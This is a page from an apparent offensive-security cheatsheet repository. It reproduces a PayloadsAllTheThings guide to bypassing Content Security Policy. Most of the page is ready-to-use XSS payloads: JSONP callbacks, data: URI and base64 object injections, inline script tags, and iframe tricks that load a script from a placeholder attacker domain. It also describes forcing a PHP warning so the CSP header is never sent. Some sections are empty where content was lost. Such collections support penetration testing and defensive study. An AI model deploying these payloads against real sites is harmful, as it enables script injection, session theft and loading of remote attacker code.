repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
4-csp-bypass.mdMarkdown189 lines7.2 KiBsource raw download

title: "CSP Bypass" topic: "XSS Injection" topicSlug: "xss-injection" sourcePath: "XSS Injection/4 - CSP Bypass.md" sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/XSS%20Injection/4%20-%20CSP%20Bypass.md" sha: "3ac27901c711" isReadme: false#

CSP Bypass#

A Content Security Policy (CSP) is a security feature that helps prevent cross-site scripting (XSS), data injection attacks, and other code-injection vulnerabilities in web applications. It works by specifying which sources of content (like scripts, styles, images, etc.) are allowed to load and execute on a webpage.

Summary#

Tools#

Bypass CSP using JSONP#

Requirements:

Payload:

Use a callback function from a whitelisted source listed in the CSP.

<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"

Bypass CSP default-src#

Requirements:

Payload:

http://example.lab/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//[ATTACKER.DOMAIN.TLD]/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;

script=document.createElement('script');
script.src='//[ATTACKER.DOMAIN.TLD]/csp.js';
window.frames[0].document.head.appendChild(script);

Source: lab.wallarm.com

Bypass CSP inline eval#

Requirements:

Payload:

d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[ATTACKER.DOMAIN.TLD]";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

Source: Rhynorater

Bypass CSP script-src self#

Requirements:

Payload:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Source: @akita_zen

Bypass CSP script-src data#

Requirements:

Payload:

<script src="data:,alert(1)">/</script>

Source: @404death

Bypass CSP unsafe-inline#

Requirements:

Payload:

"/><script>alert(1);</script>

Bypass CSP nonce#

Requirements:

Payload:

Bypass CSP header sent by PHP#

Requirements:

Payload:

In default php:apache image configuration, PHP cannot modify headers when the response's data has already been written. This event occurs when a warning is raised by PHP engine.

Here are several ways to generate a warning:

If the Warning are configured to be displayed you should get these:

GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[REPEATED &a 1000 times]&a&a&a&a

Source: @pilvar222

Labs#

References#